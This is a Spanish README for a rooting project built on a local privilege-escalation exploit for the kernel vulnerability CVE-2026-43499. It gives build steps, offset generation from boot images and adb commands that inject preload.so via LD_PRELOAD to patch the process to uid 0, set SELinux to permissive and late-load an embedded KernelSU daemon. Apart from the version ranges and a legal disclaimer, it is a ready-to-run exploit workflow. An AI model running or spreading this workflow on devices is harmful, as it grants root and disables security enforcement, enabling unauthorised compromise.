
CVE-2026-43499-root-KernelSU — Actualizado!
Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, integra KernelSU embebido. Modo jailbreak CVE-2026-43499+KernelSU
CVE-2026-43499-root-KernelSU
Adaptación de escalada de privilegios local basada en la vulnerabilidad del kernel CVE-2026-43499, con KernelSU integrado. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Admite la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img.
Adaptación de escalada de privilegios local basada en una vulnerabilidad de kernel, que integra KernelSU embebido. Compila y genera preload.so; tras una explotación exitosa, KernelSU se iniciará en modo late-load (modo jailbreak). Admite la generación de target.h a partir de (xbl_config.img / vendor_boot.img) + boot.img, u otras vías.
Proyectos de referencia:
- Linuxoid-cn/CVE-2026-43499-Poc-Analysis
- x-spy/CVE-2026-43499-popsicle
- Colorful-glassblock/duchamp-root
[!IMPORTANT] La explotación no autorizada de vulnerabilidades para dañar, comprometer u obtener acceso a sistemas informáticos está prohibida por la ley. Este proyecto se proporciona estrictamente con fines de investigación, educativos y de aprendizaje, y solo puede utilizarse en sistemas y entornos para los que se haya concedido autorización previa. Cualquier uso de este proyecto se realiza bajo el propio riesgo del usuario. Los autores y colaboradores no asumen ninguna responsabilidad por el mal uso de este proyecto ni por los daños, pérdidas o consecuencias legales derivados de su uso.
Aviso legal: el uso no autorizado de vulnerabilidades para dañar, invadir o acceder sin autorización a sistemas informáticos puede infringir las leyes y regulaciones aplicables. Este proyecto se limita a sistemas y entornos con autorización legal para fines de investigación, aprendizaje y pruebas de seguridad. Cualquier pérdida directa o indirecta, responsabilidad legal u otras consecuencias derivadas del uso, abuso o modificación de este proyecto serán asumidas por el propio usuario; los autores y colaboradores no asumen ninguna responsabilidad.
Alcance del impacto
Cuando su versión de kernel sea {Linux Kernel}, se encuentra dentro del alcance de esta vulnerabilidad
-
Linux Kernel < commit 3bfdc63936dd4773109b7b8c280c0f3b5ae7d349
-
2.6.39 <= {Linux Kernel} < 6.1.175
-
6.2 <= {Linux Kernel} < 6.6.140
-
6.7 <= {Linux Kernel} < 6.12.86
-
6.13 <= {Linux Kernel} < 6.18.27
-
6.19 <= {Linux Kernel} < 7.0.4
Estado actual
| Target | Estado |
|---|---|
rodin (por defecto) | Verificado |
Otros src/targets/* | Referencia |
Estructura de directorios
.
├── Makefile
├── build/
│ └── embed/
│ └── ksud # binario de userspace de KernelSU incrustado en preload.so
├── tools/
│ ├── generate_target.py # entrada unificada de generación de target.h de este repositorio
│ └── vendor/ # scripts auxiliares de generación originales sincronizados desde el directorio padre
└── src/
├── main.c # flujo principal del exploit
├── preload.c # constructor LD_PRELOAD + escritura/inicio de ksud
├── root.c # parche de cred/seccomp/SELinux/root
├── slide.c # fuga de KASLR slide de pselect
├── fops.c # ruta pselect/FOPS
├── pipe.c # primitiva de R/W física de pipe-buffer
├── ksud_blob.S # .incbin build/embed/ksud
├── kernelsnitch/ # helpers de KernelSnitch
└── targets/
├── rodin/
├── beryl/
└── ...
Compilación
Dependencias
- Host Linux
- Android NDK
- Ruta por defecto:
~/android-ndk-r29 - O configurar:
ANDROID_NDK_HOME/ANDROID_NDK_ROOT/NDK_ROOT
- Ruta por defecto:
makegit
Compilación
make PROJECT=<target> -j$(nproc)
Salida:
build/<target>/bin/preload.so
Ver targets disponibles
make list-projects
Generar target.h
Este repositorio ya incluye un script unificado de generación de targets:
tools/generate_target.py
tools/vendor/generate_target.py
tools/vendor/generate_target_2.py
tools/vendor/detect_offset.py
tools/generate_target.py es el script de entrada. Hace referencia y encapsula todos los flujos de generación de targets del directorio padre, y finalmente produce un src/targets/<project>/target.h completo adaptado al código fuente de este repositorio.
El script no valida de forma obligatoria CONFIG_DEBUG_INFO_BTF=y en IKCONFIG. Si los desplazamientos de campos de estructura o el diseño percpu de entry_task no se pueden verificar, imprimirá una advertencia y continuará con la generación.
Si la imagen no tiene ningún BTF utilizable, por ejemplo cuando aparece:
有效 vmlinux BTF 候选不唯一: []
El generador entrará en el modo fallback sin BTF:
- Sigue recuperando los desplazamientos de símbolos de funciones/objetos globales de kallsyms en el
boot.imgactual; - Las macros de campos de estructura/layout que no se pueden recuperar de BTF heredarán el target de plantilla, siendo
rodinla plantilla predeterminada; - Se escribirá una advertencia en la parte superior del header generado, indicando
without BTFy la plantilla utilizada; - Este header garantiza que, en la medida de lo posible, sea compilable, pero su fiabilidad en tiempo de ejecución debe verificarse en un dispositivo real.
Se puede especificar una plantilla de fallback:
tools/generate_target.py --project <project> --boot boot.img --profile profile.json --template-target rodin
# o
TARGET_TEMPLATE=rodin tools/generate_target.py --project <project> --boot boot.img --profile profile.json
1. Generación con boot.img + profile JSON
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
Se escribe por defecto en:
src/targets/<project>/target.h
También se puede invocar el script directamente:
tools/generate_target.py --project <project> --boot /path/to/boot.img --profile /path/to/profile.json
profile.json debe contener información de direcciones físicas, por ejemplo:
{
"p0_phys_offset": "0x40000000",
"p0_kernel_phys_load": "0x40000000"
}
2. Detectar el profile desde un dispositivo ADB con root
Generar solo el profile:
make detect-profile PROFILE_OUT=profile.json
Detectar el profile y generar el target inmediatamente:
tools/generate_target.py --project <project> --boot /path/to/boot.img \
--detect-adb-and-generate --profile-out profile.json
3. Generación con (xbl_config.img / vendor_boot.img) + boot.img
El script también expone las otras entradas admitidas por el generador del directorio padre:
tools/generate_target.py --project <project> --boot boot.img --xbl-config xbl_config.img
tools/generate_target.py --project <project> --boot boot.img --mtk-vendor-boot vendor_boot.img
tools/generate_target.py --project <project> --boot boot.img --mtk-partitions /path/to/partitions
Ejemplos
make generate-target PROJECT=rodin BOOT=../rodin/boot_a PROFILE=../profile.json
make generate-target PROJECT=beryl BOOT=../beryl/boot.img PROFILE=../profile.json
La salida exitosa tiene la siguiente forma:
生成成功: .../src/targets/<project>/target.h
kernel SHA-256: <sha256>
target macros: 168
rodin conserva por defecto el valor verificado en hardware real:
#define MM_STRUCT_SZ 0x500
Si es necesario sobrescribirlo:
tools/generate_target.py --project rodin --boot boot.img --profile profile.json --mm-struct-sz 0x...
Añadir un nuevo target
Se recomienda generarlo a partir de la boot image y el profile coincidentes:
make generate-target PROJECT=<project> BOOT=/path/to/boot.img PROFILE=/path/to/profile.json
make PROJECT=<project> -j$(nproc)
Un target header completo incluirá:
- constantes de direct map / perfil físico
- desplazamientos de objetos de KASLR slide
- desplazamientos de task / cred / SELinux
- desplazamientos de pipe / fops / configfs
- valores de layout de pselect, por ejemplo
PSELECT_WAITER_WORD_SHIFT MM_STRUCT_SZy los valores de ajuste de KernelSnitch
Ejecución
El código fuente actual ya tiene valores predeterminados integrados; para el funcionamiento normal solo es necesario configurar LD_PRELOAD y ejecutar cualquier programa (se recomienda toybox id).
adb push build/rodin/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 755 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Parámetros de ejecución predeterminados
La configuración predeterminada actual es la siguiente:
| Configuración | Valor predeterminado | Descripción |
|---|---|---|
KSUD_LATE_LOAD | 1 | Ejecuta ksud late-load |
KSUD_ALLOW_SHELL | 1 | Pasa --allow-shell |
KSUD_PACKAGE | me.weishu.kernelsu | Nombre del paquete del gestor pasado a ksud (parece no tener efecto) |
KSUD_DST | /data/local/tmp/ksud | Ruta de escritura del ksud integrado |
KSUD_SKIP_WRITE | 0 | Escribe el ksud integrado por defecto |
KSUD_DEFER_TO_PARENT | 1 | Inicia ksud desde la ruta del proceso padre/actual ya parcheado |
ROOT_PATCH_SELF | 1 | Parchea el proceso actual para que sea uid 0 |
DISABLE_SELINUX | 1 | Al aplicar el parche root, cambia SELinux enforcing a permissive |
ROOT_EXIT_SLEEP | unset / 0 | No hace sleep adicional antes de regresar |
El comando ksud que se ejecuta realmente por defecto es:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Estas variables de entorno aún se pueden sobrescribir en tiempo de ejecución, por ejemplo:
adb shell 'KSUD_PACKAGE=com.example.manager LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Reutilizar el ksud ya escrito:
adb shell 'KSUD_SKIP_WRITE=1 LD_PRELOAD=/data/local/tmp/preload.so /system/bin/toybox id'
Limpieza
make clean
make clean conserva build/embed/ksud, porque src/ksud_blob.S lo incrusta de la siguiente manera:
.incbin "build/embed/ksud"
Si una limpieza manual provoca la pérdida de build/embed/ksud, se puede restaurar con:
git checkout -- build/embed/ksud
Preguntas frecuentes
.incbin "build/embed/ksud" no encontrado
Restaura el payload integrado y vuelve a compilar:
git checkout -- build/embed/ksud
make PROJECT=rodin -j$(nproc)
La ruta FOPS devuelve success=0
rodin espera utilizar el layout pselect legacy/simple:
pselect fdset simple layout shift=0
pselect returned attempt=1 ret=9 ... success=1
Si el estado del dispositivo se ha contaminado por intentos fallidos, reinicia y vuelve a intentar:
adb reboot
F_SETPIPE_SZ devuelve EPERM
Por lo general es un problema de estado causado por intentos fallidos/residuales; reiniciar es la forma más rápida de limpiarlo:
adb reboot
ksud se inicia pero /proc/modules no contiene KernelSU
Consulta los registros (logs):
adb shell 'cat /data/local/tmp/ksud.log /data/local/tmp/ksud.preload.log 2>/dev/null || true'
Si es necesario, ejecútalo manualmente en una shell root:
/data/local/tmp/ksud late-load --allow-shell --package-name me.weishu.kernelsu
Licencia
GPL-3.0. Consulta LICENSE.